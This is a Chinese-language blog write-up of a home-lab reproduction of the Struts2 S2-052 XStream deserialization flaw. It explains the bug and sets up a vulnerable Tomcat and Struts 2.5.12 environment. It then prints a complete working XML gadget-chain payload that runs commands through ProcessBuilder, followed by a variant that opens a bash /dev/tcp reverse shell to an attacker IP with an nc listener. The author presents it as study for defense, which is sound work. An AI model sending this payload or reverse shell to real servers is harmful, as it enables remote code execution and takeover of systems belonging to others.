文章目录
  1. 1. 了解漏洞
    1. 1.1. struts2是什么?
    2. 1.2. struts2-052是什么漏洞?
  2. 2. 分析漏洞原理
    1. 2.1. struts2-052漏洞产生的原因是什么?
    2. 2.2. 一个系统存在这个漏洞会导致什么后果?
  3. 3. 漏洞的重现和利用
    1. 3.1. 下载java、tomcat并配置环境
    2. 3.2. 下载存在漏洞的struts2框架版本
    3. 3.3. 生成攻击payload
    4. 3.4. 使用burpsuite进行截包重发,查看结果
    5. 3.5. 反弹shell实验

欢迎来我的博客,这是我在学习struts2-052漏洞学习的一些操作与收获。学习的目的是为了更好的了解这个漏洞,然后去防御它,而不是为了危害他人。
实验背景:
1.VMware 12 pro
2.fedora 27

了解漏洞

struts2是什么?

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet。(小服务程序或服务连接器)。

struts2-052是什么漏洞?

当启用 Struts REST的XStream handler去反序列化处理一个没有经过任何类型过滤的XStream的实例,可能导致在处理XML时造成远程代码执行漏洞。

分析漏洞原理

struts2-052漏洞产生的原因是什么?

本次漏洞触发点是REST插件在解析请求中的xml文件时,调用了XStreamHandler,传入的数据会被默认进行反序列化,如果当传入的xml是个经过XStream序列化的恶意对象时,便造成反序列化漏洞。

一个系统存在这个漏洞会导致什么后果?

攻击者可以通过构造恶意XML请求在目标服务器上远程执行任意代码。

漏洞的重现和利用

下载java、tomcat并配置环境

1
$ sudo yum install java  //安装完后可以执行java -version查看是否成功


1
$ sudo yum install tomcat


直接用yum安装的话,tomcat/webapps下面没有文件,可以从官网上面下载后把里面webapps里的文件复制过来。
tomcat服务启动代码:

1
$ sudo systemctl start tomcat (stop or restart)

下载存在漏洞的struts2框架版本

去官网下载该漏洞影响的最后一个版本的struts2框架,struts-2.5.12,然后解压后将apps目录下的struts2-rest-showcase.war和struts2-showcase.war文件放到webapps目录下(Tomcat/webapps)重启tomcat。

生成攻击payload

这个可以在百度上搜到

1
2
3
4
5
<map> 
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>/usr/bin/touch</string><string>/tmp/test</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>

其中对目标系统进行操作的是

1
<command><string>/usr/bin/touch</string><string>/tmp/test</string> </command>

使用burpsuite进行截包重发,查看结果

先安装burpsites,去官网下载jar包,直接运行即可

1
$ java -jar xxxxxxxxxxxx.jar


需要注意的一点是这个只能在当前系统用户下执行,若想其他账号执行,在原来账户下输入xhost +。
使用burpsites进行抓包拦截:


将content-Type后面改为xml。

body中写入上面的payload,之后发送,这时候你进入/tmp文件夹,你会发现有一个叫test的文件。

反弹shell实验

先在发动攻击的系统上先监听某个端口,在这里我就先监听8888端口:

1
$ nc -lvvp 8888

将之前payload中command改为下列代码:

1
2
3
4
5
6
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >&amp; /dev/tcp/192.168.203.129/8888 0>&amp;1</string>
</command>
<!-- 其中ip和端口为攻击方的IP和监听的端口 -->


从图中可以看到我在webapps目录下面创建了test的文件

在被攻击端也可以查到该文件的具体信息,说明入侵成功。

文章目录
  1. 1. 了解漏洞
    1. 1.1. struts2是什么?
    2. 1.2. struts2-052是什么漏洞?
  2. 2. 分析漏洞原理
    1. 2.1. struts2-052漏洞产生的原因是什么?
    2. 2.2. 一个系统存在这个漏洞会导致什么后果?
  3. 3. 漏洞的重现和利用
    1. 3.1. 下载java、tomcat并配置环境
    2. 3.2. 下载存在漏洞的struts2框架版本
    3. 3.3. 生成攻击payload
    4. 3.4. 使用burpsuite进行截包重发,查看结果
    5. 3.5. 反弹shell实验